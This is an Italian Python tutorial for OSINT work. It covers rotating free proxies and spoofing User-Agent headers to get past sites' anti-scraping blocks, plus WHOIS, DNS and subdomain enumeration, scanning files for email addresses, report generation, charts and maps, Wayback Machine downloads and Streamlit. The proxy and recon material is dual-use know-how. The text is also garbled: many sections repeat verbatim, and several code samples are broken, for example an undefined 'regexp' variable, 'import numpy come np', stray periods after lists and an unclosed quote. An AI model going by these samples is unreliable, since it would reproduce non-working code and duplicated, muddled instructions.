In questo paragrafo dedicato alla Regex c'è solo un esempio di codice, poiché l'obiettivo principale di questa lezione è imparare in dettaglio come si usano le espressioni regolari in OSINT.

Consiglio di allenarsi a creare Regex (espressioni regolari) attraverso questo sito:

<https://regexlearn.com/learn>

Ancora una volta consiglio di utilizzare anche strumenti automatici basati su AI (vedi ChatGPT) per creare le proprie regex.

|

Ancora una volta consiglio di utilizzare anche strumenti automatici basati su AI (vedi ChatGPT) per creare le proprie regex.

PROXIES

Molti siti e servizi bloccano gli indirizzi IP che inviano un gran numero di richieste in breve tempo.

È possibile aggirare tale protezione utilizzando i server Proxy (non sempre funziona, ma spesso sì).

Un server proxy, noto anche come gateway a livello di applicazione, può essere un software o un computer. In ogni caso, funziona come un gateway tra il vostro dispositivo e il server a cui siete connessi.

È come un ambasciatore che agisce come rappresentante dell'utente nelle transazioni con diversi server sul Web.

Usarli in Python è molto semplice. È sufficiente specificare l'indirizzo del server attraverso il quale si vuole reindirizzare il traffico quando si effettua una richiesta.

Esegui `simple_proxy.py` dalla cartella `Day_12`:

```
# Importa il pacchetto requests:
import requests

# Crea una variabile con il server proxy https e la porta:
proxies = {
    'https': '135.181.149.47:8080',
}

# Crea una variabile con l'url per la richiesta:
url = 'https://cleantalk.org/blacklists/ivanov@gmail.com'

# Effettua la richiesta attraverso un server proxy:
response = requests.post(url, proxies=proxies)

# Stampa il testo della pagina web:
print(response.text)
```

Il server proxy usato come esempio nel codice precedente probabilmente non funziona più. Quindi, sostituitelo con un altro.

Un numero enorme di server gratuiti può essere trovato su Google in un paio di secondi.

Esempi di server proxy:

<https://hidemy.name/en/>

<https://github.com/clarketm/proxy-list> <https://github.com/TheSpeedX/PROXY-List>

<https://github.com/ShiftyTR/Proxy-List> <https://github.com/jetkai/proxy-list>

Un solo server proxy non è sufficiente per aggirare con successo le protezioni contro lo scraping. Dopo tutto, il sito di destinazione può bloccarli uno per uno e, inoltre, i server proxy gratuiti possono essere estremamente instabili.

Pertanto, potrebbe essere necessario cercare tra i server proxy per trovarne uno che funzioni e che NON sia bloccato.

esegui ora `proxy_permutation.py`:

Come nel primo caso, gli indirizzi proxy presenti nell'elenco al momento della pubblicazione potrebbero non funzionare.

Pertanto, sostituiscili con altri (che, come detto sopra, possono essere trovati in elenchi gratuiti) prima di avviare lo script.

Importa il pacchetto requests:

```
import requests
```

Crea una lista con i server proxy https e le porte:

```
ip_addresses = [ "135.181.149.47:8080", "someproxy1.com:80",  
"someproxy2.com:80", "someproxy3.com:80", "someproxy4.com:80",  
"someproxy5.com:80", "someproxy6.com:80"]
```

Crea una variabile con l'url per la richiesta:

```
url = 'https://cleantalk.org/blacklists/ivanov@gmail.com'
```

Scorre l'elenco degli `ip_addresses`:

```
for proxy in ip_addresses
```

```
proxies = {'https': proxy}
```

Prova a fare una richiesta e stampa i risultati:

```
try:
```

```
response = requests.post(url, proxies=proxies)
```

```
print(response.text)
```

```
except:
```

```
print("No")
```

Si possono anche usare strumenti già pronti per reindirizzare il traffico attraverso i server proxy:

XX-net

<https://github.com/XX-net/XX-Net>

.mitmproxy

<https://github.com/mitmproxy/mitmproxy>

Proxify

<https://github.com/projectdiscovery/proxify>

Esegui ora useragent.py:

Spesso la semplice modifica dell'indirizzo IP non è sufficiente per aggirare i siti bloccati.

È necessario aggiungere ulteriori parametri alla richiesta nelle intestazioni della stessa.

Le impostazioni saranno individuali per ogni task.

Importa il pacchetto request:

```
import requests
```

Crea una variabile con il link al sito web:

```
url = 'https://www.whatismybrowser.com/'
```

Crea una lista con le intestazioni delle richieste (per ora usiamo solo l'intestazione User-Agent):

```
headers = {
```

```
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64)
```

```
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85
```

```
Safari/537.36'
```

```
}
```

Invia la richiesta:

```
response = requests.get(url, headers=headers)
```

Stampa il testo della risposta:

```
print(response.text)
```

Come risultato, dovrebbe essere visualizzato il codice html della pagina, che conterrà lo User-Agent specificato nelle intestazioni passate con la richiesta.

INVESTIGADOR_Z

ARRAY, LISTE E LE SUE FUNZIONI

Come avrai già notato, le liste sono un elemento molto importante della sintassi di Python, che hai utilizzato nella maggior parte dei paragrafi.

Daremo un'occhiata ad alcune funzioni molto semplici ma molto utili per lavorare con le liste.

Per prima cosa, impariamo a copiare gli array.

Esegui `array_copy.py` dalla cartella Day13:

```
# Crea un elenco di città USA:
```

```
cities = ['New York', 'San Francisco', 'Houston', 'Los Angeles'].
```

```
# Copia l'elenco delle città USA:
```

```
copy_of_cities = cities.copy()
```

```
# Stampa una copia dell'elenco di città USA con gli elementi separati da ", ":
```

```
print(*copy_of_cities, sep = ", ")
```

Nota che hai usato un nuovo modo per produrre gli elementi dell'array (hai impostato un separatore).

Ora, ordina l'elenco. Esegui `array_sort.py`:

```
# Crea un elenco di città USA:
```

```
cities = ['New York', 'San Francisco', 'Houston', 'Los Angeles'].
```

```
# Ordina l'elenco delle città USA in modo crescente:
```

```
cities.sort()
```

```
# Stampa il risultato:
```

```
print(cities)
```

```
# Ordina l'elenco delle città USA per ordine decrescente:
```

```
cities.sort(reverse=True)
```

```
# Stampa il risultato:
```

```
print(cities)
```

Ecco due funzioni per aggiungere elementi a un array: `insert()` e `append()`.

Esegui `array_insert.py`:

```
# Crea un elenco di nomi di città statunitensi:
```

```
cities = ['New York', 'San Francisco', 'Houston', 'Los Angeles'].
```

```
# Aggiunge l'elemento numero tre e il testo Dallas (ricordate che il conteggio inizia con zero):  
cities.insert(3,"Dallas")
```

```
# Visualizzare l'elenco sullo schermo, separando gli elementi con il punto e virgola:  
print(cities, sep=";")
```

Per sicurezza, vorrei spiegare la differenza tra insert() e append().

Insert() inserisce un elemento in una certa posizione (sotto un certo numero).

Append() aggiunge un elemento alla fine dell'array (sotto l'ultimo numero).

Concludiamo questo paragrafo con una funzione che rimuove un elemento con un numero specifico da un array.

Esegui array_pop.py:

```
# Crea un elenco di nomi di città statunitensi:
```

```
cities = ['New York', 'San Francisco', 'Houston', 'Los Angeles']
```

```
# Elimina da esso l'elemento con l'indice due (ricorda che il conteggio inizia con zero):
```

```
cities.pop(2)
```

```
# Visualizza l'elenco modificato sullo schermo:
```

```
print(cities)
```

In questo libro torneremo sull'argomento degli array e parleremo della funzione più importante per lavorare con essi: map(), che merita sicuramente una lezione a sé.

```
# Aggiunge l'elemento numero tre e il testo Dallas (ricordate che il conteggio inizia con zero):  
cities.insert(3,"Dallas")
```

```
# Visualizzare l'elenco sullo schermo, separando gli elementi con il punto e virgola:  
print(cities, sep=";")
```

Per sicurezza, vorrei spiegare la differenza tra `insert()` e `append()`.

`Insert()` inserisce un elemento in una certa posizione (sotto un certo numero).

`Append()` aggiunge un elemento alla fine dell'array (sotto l'ultimo numero).

Concludiamo questo paragrafo con una funzione che rimuove un elemento con un numero specifico da un array.

Esegui `array_pop.py`:

```
# Crea un elenco di nomi di città statunitensi:
```

```
cities = ['New York', 'San Francisco', 'Houston', 'Los Angeles']
```

```
# Elimina da esso l'elemento con l'indice due (ricorda che il conteggio inizia con zero):
```

```
cities.pop(2)
```

```
# Visualizza l'elenco modificato sullo schermo:
```

```
print(cities)
```

In questo libro torneremo sull'argomento degli array e parleremo della funzione più importante per lavorare con essi: `map()`, che merita sicuramente una lezione a sé.

LAVORARE CON IL FILE SYSTEM

In questo libro non ci occuperemo di database e utilizzerai esclusivamente file csv, json e txt per memorizzare i dati. A volte si potrebbe voler scrivere uno script che non elabori i dati di un singolo file con un nome specifico, ma i dati di un ampio gruppo di file (a volte situati in directory diverse).

Per questo motivo, potrebbe essere necessaria una minima competenza nel lavorare con il file system in Python.

Utilizzerai quindi i pacchetti glob e os (<https://docs.python.org/3/library/glob.html>) (<https://docs.python.org/3/library/os.html>) per trovare e leggere i file.

Esegui `print_files_names.py`:

```
# Importa i pacchetti glob e os:
```

```
import glob, os
```

```
# sposta il percorso alla directory "test_dir":
```

```
os.chdir("test_dir")
```

```
# Stampa la stringa "TXT File":
```

```
print ("TXT File")
```

```
# Cerca tutti i file con estensione txt e ne stampa i nomi:
```

```
for file in glob.glob("*.txt"):
```

```
print(file)
```

```
# Stampa la stringa "all files":
```

```
print ("all files")
```

```
# Cerca tutti i file e ne stampa i nomi:
```

```
for file in glob.glob("*"):
```

```
print(file)
```

Ora prova a visualizzare il contenuto dei file trovati usando il comando `readlines()`.

Esegui `print_files_contents.py`:

```
# Importa i pacchetti glob e os:
```

```
import glob, os
```

```
# sposta il percorso alla directory "test_dir":
```

```
os.chdir("test_dir")
```

```
# Cerca tutti i file con estensione txt e ne stampa i nomi:
```

```
for file in glob.glob("*.txt"):
```

```
# Apre ogni file e ne stampa il contenuto:
```

```
with open (file) as current_file:
```

```
print(current_file.readlines())
```

Il contenuto dei file così ottenuti può essere analizzato automaticamente.

L'esempio più semplice è quello di verificare la presenza di simboli o parole.

Esegui ora `check_files_contents.py`:

```
# Importa i pacchetti glob e os:
```

```
import glob, os
```

```
# sposta il percorso alla directory "test_dir":
```

```
os.chdir("test_dir")
```

```
# Esamina tutti i file
```

```
for file in glob.glob("*"):
```

```
# Apre ogni file:
```

```
with open (file) as current_file:
```

```
# Legge il contenuto di ogni file:
```

```
current_file_content=current_file.read()
```

```
# Se il contenuto del file include "2", lo stampa:
```

```
if "2" in current_file_content:
```

```
print(current_file_content)
```

Ora prova a controllare che ogni file che contiene un indirizzo e-mail nel suo testo utilizzando un'espressione regolare (l'abbiamo imparata nelle precedenti lezioni).

Esegui `check_re_file_contents.py`:

```
# Importa i pacchetti glob, os e re:
```

```
import glob, os, re
```

```
# Crea un oggetto regex:
```

```
regex = re.compile('[a-zA-Z0-9-_.]+@[a-zA-Z0-9-_.]+')
```

```
# sposta il percorso alla directory "test_dir":
os.chdir("test_dir")
# Esamina tutti i file
for file in glob.glob("*"):
# Apre ogni file:
with open (file) as current_file:
# Legge il contenuto del file:
current_file_content=current_file.read()
# Controlla se la riga corrispondente all'espressione regolare può essere trovata nel testo del file:
if regexp.search(current_file_content):
# Se viene trovata, visualizza il nome e il contenuto del file:
print("Math in file: "+file)
print(current_file_content)
```

```
# sposta il percorso alla directory "test_dir":
os.chdir("test_dir")
# Esamina tutti i file
for file in glob.glob("*"):
# Apre ogni file:
with open (file) as current_file:
# Legge il contenuto del file:
current_file_content=current_file.read()
# Controlla se la riga corrispondente all'espressione regolare può essere trovata nel testo del file:
if regexp.search(current_file_content):
# Se viene trovata, visualizza il nome e il contenuto del file:
print("Math in file: "+file)
print(current_file_content)
```

DOMINI

Ora cercherò di spiegare i termini di base relativi alla ricerca di domini e di mostrare alcuni pacchetti Python che possono essere utili a questo scopo.

WHOIS è un protocollo di interrogazione e risposta che fornisce informazioni sui nomi di dominio esistenti e tutti i dati pertinenti su di essi.

Esistono molti servizi online gratuiti che mostrano i dati Whois per un particolare dominio.

<https://who.is/whois/nytimes.com>

È possibile conoscere la data di registrazione del dominio, la data di scadenza del periodo di utilizzo a pagamento del dominio, le informazioni di contatto dell'azienda o della persona che attualmente possiede il dominio.

Esistono anche servizi che consentono di trovare i domini associati a una determinata e-mail (ad esempio <https://www.whoxy.com/>) e di vedere la cronologia dei dati whois del dominio (<https://research.domaintools.com/research/whois-history/>).

Sono stati creati molti pacchetti per Python per automatizzare la gestione dei dati WHOIS.

Proviamo il pacchetto Python-Whois (<https://pypi.org/project/python-whois/>).

```
pip install python-whois
```

Esegui `whois_info.py`:

```
# Importa il pacchetto python-whois:
```

```
import whois
```

```
# Crea una variabile con un nome di dominio di destinazione:
```

```
whois_info = whois.whois('sector035.nl')
```

```
# Stampa tutte le informazioni whois di questo dominio:
```

```
print(whois_info)
```

```
# Stampa la stringa "Creation data":
```

```
print("Creation date")
```

```
# Stampa la data di creazione del dominio di destinazione:
```

```
print(whois_info["creation_date"])
```

DNS

Il DNS (Domain Name System) è un sistema di denominazione dei computer su Internet. È un database che mappa ogni indirizzo Internet numerico (chiamato indirizzo IP) con il

corrispondente nome di dominio.

Per vedere come sono i dati DNS del dominio si può usare uno dei servizi online gratuiti (ad esempio, <https://mxtoolbox.com/>).

È possibile utilizzare il pacchetto DNSPython per automatizzare il recupero dei dati DNS (<https://pypi.org/project/dnspython/>).

```
pip install dnspython
```

Esegui python dns_info.py:

```
# Importa il pacchetto pythondns e dns.resolver:
```

```
import dns
```

```
import dns.resolver
```

```
# OTTIENE I RECORD A per il dominio osintme.com:
```

```
result = dns.resolver.resolve('osintme.com', 'A')
```

```
# cicla i risultati e stampa ciascuno di essi:
```

```
for ipval in result:
```

```
print('IP', ipval.to_text())
```

Quando si raccolgono dati su un sito, può essere utile trovare i suoi sottodomini per utilizzarli come ulteriore fonte di informazioni.

Vediamo come funziona lo strumento Discosub (<https://pypi.org/project/discosub/>).

Installa il pacchetto Discosub da pip:

```
pip install discosub
```

Esegui Discosub per il dominio nytimes.com:

```
discosub run nytimes.com
```

Esiste anche un'opzione per eseguire Discosub con i risultati salvati nel file nytimes_subdomains.txt:

```
discosub run nytimes.com >nytimes_subdomains.txt
```

Vale la pena chiarire che Discosub è ottimo per la sua semplicità e quindi è stato scelto come esempio. Ma in termini di qualità dei risultati ottenuti è in ritardo rispetto a strumenti simili (trova meno sottodomini).

Se il tuo compito è quello di trovare il numero massimo di sottodomini per un determinato dominio (o preferibilmente tutti), ti consiglio di utilizzare più strumenti contemporaneamente.

Ad esempio:

Sublist3r

SubDomainizer

Subscraper

Subfinder (scritto in linguaggio Go, ottimo strumento di Projectdiscovery) e molti altri.

Non dimenticarti inoltre che esistono molte API per la raccolta di informazioni sui domini, sulla base delle quali puoi creare i tuoi script, ideali per gli scopi della tua indagine.

Ad esempio:

Sublist3r

SubDomainizer

Subscraper

Subfinder (scritto in linguaggio Go, ottimo strumento di Projectdiscovery) e molti altri.

Non dimenticarti inoltre che esistono molte API per la raccolta di informazioni sui domini, sulla base delle quali puoi creare i tuoi script, ideali per gli scopi della tua indagine.

LISTE E FUNZIONI PER LAVORARE CON LE STRINGHE

Map() è una funzione che consente di applicare un'altra funzione a ciascun elemento di un particolare elenco.

Ci offre enormi opportunità di lavorare con i dati.

Ad esempio, puoi eseguire alcuni calcoli con ciascun elemento dell'elenco, sostituire o aggiungere alcuni caratteri in un gruppo di stringhe, convertire alcuni valori in altri valori, decifrare gli hash. Che dire... È possibile utilizzare map() con quasi tutte le altre funzioni.

Vediamo come funziona.

Esegui array_map.py:

```
# Crea una funzione che moltiplica per due il numero che le è stato passato:
```

```
def doubleNumber(x):
```

```
    return x * 2
```

```
# Crea un elenco di tre numeri:
```

```
numbers = [2,4,8]
```

```
# Applica la funzione doubleNumbers uno per uno a ciascun elemento dell'elenco di numeri:
```

```
result = map(doubleNumber,numbers)
```

```
# Visualizza l'elenco modificato:
```

```
print(list(result))
```

Poiché considero la funzione map() molto importante, in questa sezione ci saranno molti esempi del suo utilizzo. Ti mostrerò anche alcune funzioni Python per lavorare con le stringhe.

Prova a rendere maiuscole le prime lettere delle parole in ogni elemento dell'elenco.

Esegui capallwords.py:

```
# Crea una funzione che rende maiuscole le prime lettere di tutte le parole che le vengono passate:
```

```
def capitalizeAllWords(x):
```

```
    return x.title()
```

```
#Crea un elenco di città USA:
```

```
cities = ["new york", "los angeles", "chicago"]
```

#Applica la funzione capitalizeAllWords uno per uno a ciascun elemento dell'elenco di città USA:

```
result = map(capitalizeAllWords,cities)
```

Visualizza l'elenco modificato:

```
print(list(result))
```

Ora capitalizziamo solo la prima lettera di ogni elemento.

Esegui capfirstword.py:

Crea una funzione capitalizerDirstWord che cambi la prima lettera di una riga in una lettera maiuscola:

```
def capitalizeFirstWord(x):
```

```
    return x.capitalize()
```

Crea un elenco di città statunitensi:

```
cities = ["new york", "los angeles", "chicago"]
```

Esegue la funzione map() per l'elenco di tre città statunitensi e la funzione capitalizeFirstWord:

```
result = map(capitalizeFirstWord,cities)
```

Stampa il risultato sullo schermo:

```
print(list(result))
```

Un'altra abilità molto semplice ma molto utile è quella di sostituire alcuni caratteri di una stringa con altri.

Esegui replace.py:

Crea una funzione replaceDash che sostituisca il trattino basso con il normale trattino basso:

```
def replaceDash(x):
```

```
    return x.replace("_","-")
```

Crea un elenco di tre parole:

```
words = ["six_pack", "king_size", "editor_in_chief"]
```

Esegue la funzione map() con argomenti sotto forma di array di tre parole e la funzione replaceDash:

```
result = map(replaceDash,words)
```

Stampa i risultati sullo schermo:

```
print(list(result))
```

PYTHON HA MOLTE ALTRE funzioni per lavorare con le stringhe ed è possibile installare pacchetti aggiuntivi per estendere questa funzionalità.

Ad esempio, la versione Python del noto convertitore di dati online Cyber Shef (<https://pypi.org/project/chepy/>). È in grado di:

decodificare gli URL;

decodificare/codificare Base64;

convertire da binario a decimale e viceversa; criptare/decriptare PGP.

e altro ancora.

E alla fine di questa sezione, voglio mostrare un'altra funzione semplice ma molto importante usata per dividere una riga in più parti in base al carattere delimitatore.

Esegui `split_string.py`:

Crea una riga di più righe, separate da punto e virgola:

```
: string = "first name;last name;email;address;"
```

Avvia la funzione `split()`, utilizzando il punto e virgola come argomento:

```
fields = string.split(";")
```

Scorre gli elementi dell'array in un ciclo e visualizzare ciascuno di essi a turno:

```
for field in fields:
```

```
    print (field)
```

```
print(list(result))
```

PYTHON HA MOLTE ALTRE funzioni per lavorare con le stringhe ed è possibile installare pacchetti aggiuntivi per estendere questa funzionalità.

Ad esempio, la versione Python del noto convertitore di dati online Cyber Shef (<https://pypi.org/project/chepy/>). È in grado di:

decodificare gli URL;

decodificare/codificare Base64;

convertire da binario a decimale e viceversa; criptare/decriptare PGP.

e altro ancora.

E alla fine di questa sezione, voglio mostrare un'altra funzione semplice ma molto importante usata per dividere una riga in più parti in base al carattere delimitatore.

Esegui `split_string.py`:

Crea una riga di più righe, separate da punto e virgola:

```
string = "first name;last name;email;address;"
```

Avvia la funzione `split()`, utilizzando il punto e virgola come argomento:

```
fields = string.split(";")
```

Scorre gli elementi dell'array in un ciclo e visualizzare ciascuno di essi a turno:

```
for field in fields:
```

```
    print (field)
```

GENERAZIONE DI DOCUMENTI

Una parte importante di molte ricerche o indagini è la stesura del rapporto finale. Nel caso in cui si debbano creare molti rapporti simili basati su dati con una struttura simile, è possibile automatizzare questo processo utilizzando Python. Prova a creare un semplice foglio di MS Excel.

Installa il pacchetto XlsxWriter (<https://pypi.org/project/XlsxWriter/>)

```
pip install XlsxWriter
```

Esegui create_xlsx.py:

```
# Importa il pacchetto XlsxWriter:
```

```
import xlsxwriter
```

```
# Crea un nuovo file (book) chiamato employees.xlsx:
```

```
workbook = xlsxwriter.Workbook('employees.xlsx')
```

```
# Aggiungi un foglio vuoto al file:
```

```
worksheet = workbook.add_worksheet()
```

```
# Crea un elenco bidimensionale (nome del dipendente - età):
```

```
employees = (
```

```
['Nome', 'Età'],
```

```
['John Smith', 33],
```

```
['Eric Gold', 26],
```

```
['Simon Silver', 37],
```

```
['James Conor', 50],
```

```
)
```

```
# Scorre l'array e scrive il nome del dipendente nella colonna A e l'età nella colonna B (creando una nuova riga a ogni tentativo):
```

```
row = 0
```

```
for name, age in (employees):
```

```
    worksheet.write(row, 0, name)
```

```
    worksheet.write(row, 1, age)
```

```
    row += 1
```

Alla riga più bassa, aggiunge la formula per il calcolo dell'età media:

```
worksheet.write(row, 0, 'Average age')
```

```
worksheet.write(row, 1, '=average(B1:B'+str(row-1)+')')
```

Chiude il file:

```
workbook.close()
```

ORA PROVA A CREARE un documento Word. Per farlo, utilizzerai il pacchetto python-docx (<https://python-docx.readthedocs.io/en/latest/>).

```
pip install python-docx
```

Esegui il file create_docx.py:

Importa i pacchetti necessari:

```
from docx import Document
```

```
from docx.shared import Inches
```

Crea un nuovo documento:

```
document = Document()
```

Aggiunge il primo titolo al documento:

```
document.add_heading('Report', 0)
```

Aggiunge un secondo titolo al documento:

```
document.add_heading('Report', level=1)
```

Aggiunge un paragrafo di testo al documento:

```
document.add_paragraph( 'Some text in report' )
```

Aggiunge un'interruzione di pagina al documento:

```
document.add_page_break()
```

Aggiunge un'immagine al documento:

```
document.add_picture(histogram.png', width=Inches(1.25))
```

Salva il documento:

```
document.save('report.docx')
```

Nella parte finale della sezione, vedrai come generare file PDF. Per questo userai pacchetti FPDF (<https://pyfpdf.readthedocs.io/en/latest/>).

```
pip install fpdf
```

Esegui il file create_pdf.py:

```
# Importa un pacchetto FPDF:
```

```
from fpdf import FPDF
```

```
# Crea un file vuoto:
```

```
pdfFile = FPDF()
```

```
# Crea una pagina vuota nel file:
```

```
pdfFile.add_page()
```

```
# Personalizza il font del documento:
```

```
pdfFile.set_font("Arial", size = 12)
```

```
# Aggiunge il testo alla pagina, specificando le coordinate dei rientri superiore e inferiore:
```

```
pdfFile.cell(20, 10, txt = "Report Text", ln = 2, align = 'C')
```

```
# Aggiunge un'immagine alla pagina, specificando le sue dimensioni e le coordinate dei rientri superiore e inferiore:
```

```
pdfFile.image('histogram.png', 10, 40, 30)
```

```
# Salva il risultato nel file report.pdf:
```

```
pdfFile.output("report.pdf")
```

ANCHE LE PRESENTAZIONI di Microsoft Power Point possono essere generate con Python, utilizzando il pacchetto python-pptx (<https://python-pptx.readthedocs.io/it/latest/>).

Esegui il file create_pdf.py:

```
# Importa un pacchetto FPDF:
```

```
from fpdf import FPDF
```

```
# Crea un file vuoto:
```

```
pdfFile = FPDF()
```

```
# Crea una pagina vuota nel file:
```

```
pdfFile.add_page()
```

```
# Personalizza il font del documento:
```

```
pdfFile.set_font("Arial", size = 12)
```

```
# Aggiunge il testo alla pagina, specificando le coordinate dei rientri superiore e inferiore:
```

```
pdfFile.cell(20, 10, txt = "Report Text", ln = 2, align = 'C')
```

```
# Aggiunge un'immagine alla pagina, specificando le sue dimensioni e le coordinate dei rientri superiore e inferiore:
```

```
pdfFile.image('histogram.png', 10, 40, 30)
```

```
# Salva il risultato nel file report.pdf:
```

```
pdfFile.output("report.pdf")
```

ANCHE LE PRESENTAZIONI di Microsoft Power Point possono essere generate con Python, utilizzando il pacchetto python-pptx (<https://python-pptx.readthedocs.io/it/latest/>).

GENERAZIONE DI GRAFICI E MAPPE

Nello scorso paragrafo abbiamo inserito l'immagine di un diagramma in un documento.

Tali immagini possono anche essere generate automaticamente, in base ai dati ottenuti durante l'indagine. Ad esempio, è possibile visualizzare dati provenienti da diverse API Matplotlib (<https://matplotlib.org>) ci aiuterà in questo senso.

Si tratta di una libreria per la creazione di visualizzazioni di dati.

Utilizzeremo anche il pacchetto NumPy (<https://numpy.org>), che ci aiuterà a lavorare con gli array multidimensionali.

Generazione di diagrammi

Installa Matplotlib prima di eseguire lo script (numpy viene installato automaticamente quando s installa Matplotlib):

```
pip install matplotlib
```

Esegui ora bar.py dalla cartella Day_18:

```
# Importa i pacchetti matplotlib e numpy:
```

```
import matplotlib.pyplot come plt
```

```
import numpy come np
```

```
# Crea un elenco con i nomi delle città:
```

```
x = np.array(["Los Angeles", "San Francisco", "New York"])
```

```
# Crea un elenco con i valori numerici della popolazione in milioni di abitanti:
```

```
y = np.array([3.8, 0.8, 8.4])
```

```
# Traccia un grafico sulla base di queste due liste:
```

```
plt.bar(x,y)
```

```
# Aggiunge un titolo al grafico:
```

```
plt.title ("Popolation")
```

```
# Salva i risultati in un file:
```

```
plt.savefig('population_barchart.png')
```

In questo esempio, hai usato la libreria NumPy per creare due array monodimensionali in modo da poter creare un array bidimensionale da cui tracciare il grafico.

Nell'ultima sezione abbiamo creato elenchi bidimensionali senza usare numpy, ma se si intende usare gli elenchi per creare visualizzazioni con Matplotlib, è meglio usare gli array di numpy (si noti ancora una volta che elenchi e array in Python sono cose diverse).

Matplotlib consente di creare molti tipi diversi di visualizzazioni di dati: grafici a linee, a dispersione, a gradini, a torta e centinaia di altri. Inoltre, in combinazione con Basemap toolkit (<https://matplotlib.org/basemap/>), è possibile visualizzare anche i geodati.

Generazione di mappe

INSTALLA IL PACCHETTO basemap prima di eseguire lo script:

```
pip install basemap
```

Eseguiamo map.py:

```
# Importa i pacchetti matplotlib, numpy, basemap:
```

```
import numpy as np
```

```
import matplotlib.pyplot as plt
```

```
from mpl_toolkits.basemap import Basemap
```

```
# Crea un'immagine vuota:
```

```
fig = plt.figure(figsize = (22,22))
```

```
# Crea una mappa (per impostazione predefinita crea una mappa del mondo):
```

```
map = Basemap()
```

```
# Aggiunge i confini dei paesi:
```

```
map.drawcountries()
```

```
# Aggiunge le linee di costa:
```

```
map.drawcoastlines()
```

```
# Aggiunge un punto, specificando le coordinate geografiche, il tipo di marcatore e le dimensioni:
```

```
map.plot(43.00, 39.00, 'bo', markersize=12)
```

```
# Aggiunge un titolo alla mappa:
```

```
plt.title("World Map", fontsize=20)
```

```
# Salva il risultato in un file:
```

```
plt.savefig('map.png')
```

Basemap consente di caricare qualsiasi mappa da file di forma (con estensione shp). Ciò consente di creare visualizzazioni per singoli Paesi e regioni. Per saperne di più, visita il sito: <https://basemaptutorial.readthedocs.io/en/latest/shapefile.html>.

Basemap consente di caricare qualsiasi mappa da file di forma (con estensione shp). Ciò consente di creare visualizzazioni per singoli Paesi e regioni. Per saperne di più, visita il sito: <https://basemaptutorial.readthedocs.io/en/latest/shapefile.html>.

WAYBACK MACHINE E FUNZIONI DI DATA E ORA

Archive.org è una delle più importanti fonti di informazioni per l'OSINT e la SOCMINT (Social media intelligence).

Consente di trovare le informazioni di contatto cancellate dei proprietari dei siti, di tracciare la cronologia delle modifiche delle informazioni nel profilo del social network o di trovare qualsiasi altro contenuto cancellato.

Utilizzerai il pacchetto Wayback (<https://pypi.org/project/wayback/>) per automatizzare il lavoro con WaybackMachine. Inoltre, lavorare con gli archivi è un'ottima scusa per imparare finalmente le basi del lavoro con data e ora in Python.

Installa il pacchetto wayback prima di eseguire lo script:

```
pip install wayback
```

Esegui download_mementos.py dalla cartella Day_19:

```
# Importa i pacchetti wayback e datetime:
```

```
import wayback
```

```
from datetime import datetime
```

```
# Crea il client dell'archivio web:
```

```
client = wayback.WaybackClient()
```

```
# Cerca le copie delle pagine web di nasa.gov salvate prima del 1999:
```

```
for record in client.search('http://nasa.gov', to_date=datetime(1999, 1, 1)):
```

```
# Ottieni il record memento (copia della pagina web):
```

```
memento = client.get_memento(record)
```

```
# Genera il nome del file in cui salvare il codice HTML della copia della pagina web (sostituire i  
link alla pagina con / - (in modo che non si verifichi alcun errore durante il salvataggio del file) e  
aggiunge l'estensione .html:
```

```
fileName=memento.memento_url.replace("/", "-")+".html"
```

```
# Apre il file in cui salvare il codice HTML della copia della pagina web:
```

```
memento_file = open(filename, "a")
```

```
# Scrive il codice HTML della copia della pagina web nel file:
```

```
memento_file.write(memento.text)
```

Chiude il file:

```
memento_file.close()
```

Stampa il nome del file:

```
print (filename)
```

Preparati al fatto che l'esecuzione dello script potrebbe richiedere un po' di tempo.

ⁱNota che nel codice precedente abbiamo usato `datetime()` per impostare l'intervallo di date per trovare le copie della pagina web nell'archivio web.

Si tratta di una funzione molto importante. Vediamo alcuni esempi di come lavorare con essa.

[,]Esegui ora `date_time.py`:

Importa il pacchetto `datetime` (disponibile in Python per impostazione predefinita):

```
import datetime
```

Inserisce la data e l'ora correnti in una variabile:

```
currentTime = datetime.datetime.now()
```

Visualizza la data e l'ora correnti:

```
print(currentTime)
```

Visualizza l'anno corrente:

```
print("Anno corrente: " +str(currentTime.year))
```

Visualizza il mese corrente:124

```
print("Mese corrente: " +str(currentTime.month))
```

Visualizza il giorno della settimana, il giorno del mese, il mese e l'anno correnti:

```
print(currentTime.strftime("%A %d %B %Y"))
```

^lÈ possibile sostituire `datetime.datetime.now()` con un'altra data.

[,]Ad esempio, `datetime.datetime(2023, 5, 4)`.

Chiude il file:

```
memento_file.close()
```

Stampa il nome del file:

```
print (filename)
```

Preparati al fatto che l'esecuzione dello script potrebbe richiedere un po' di tempo.

Nota che nel codice precedente abbiamo usato `datetime()` per impostare l'intervallo di date per trovare le copie della pagina web nell'archivio web.

Si tratta di una funzione molto importante. Vediamo alcuni esempi di come lavorare con essa.

Esegui ora `date_time.py`:

Importa il pacchetto `datetime` (disponibile in Python per impostazione predefinita):

```
import datetime
```

Inserisce la data e l'ora correnti in una variabile:

```
currentTime = datetime.datetime.now()
```

Visualizza la data e l'ora correnti:

```
print(currentTime)
```

Visualizza l'anno corrente:

```
print("Anno corrente: " +str(currentTime.year))
```

Visualizza il mese corrente:124

```
print("Mese corrente: " +str(currentTime.month))
```

Visualizza il giorno della settimana, il giorno del mese, il mese e l'anno correnti:

```
print(currentTime.strftime("%A %d %B %Y"))
```

È possibile sostituire `datetime.datetime.now()` con un'altra data.

Ad esempio, `datetime.datetime(2023, 5, 4)`.

WEB APPS

Dopo aver seguito questo capitolo, è improbabile che abbiate serie difficoltà a utilizzare gli strumenti a riga di comando. Dopo tutto, ora sapete quanto è facile.

Tuttavia, molte persone li hanno.

Se hai realizzato un utile script Python e vuoi che il maggior numero possibile di persone lo utilizzi, dovresti considerare la possibilità di trasformarlo in un'applicazione web.

Ci sono molti modi per creare applicazioni web in Python. Ad esempio, si possono usare framework come Django, Flask, Dash, Falcon ecc. Sono abbastanza facili da usare e da imparare ma per questo libro ho scelto l'opzione più semplice e veloce: il pacchetto Streamlit (<https://streamlit.io>).

Installalo con pip:

```
pip install streamlit
```

Ora lancia la tua prima applicazione web:

Esegui `webapp.py` (nota che lo facciamo in modo diverso da come abbiamo fatto con gli altri file di questo tutorial):

```
streamlit run webapp.py
```

Dopo il lancio, copia l'URL e aprilo in un browser. Se si usa Gitpod, basta fare clic su `Apri browser`.

Il risultato dovrebbe essere una semplice applicazione web che visualizza il testo inserito dall'utente dopo aver fatto clic sul pulsante `Start`.

Diamo un'occhiata al codice dell'applicazione.

```
# Importa il pacchetto Streamlit:
```

```
import streamlit as st
```
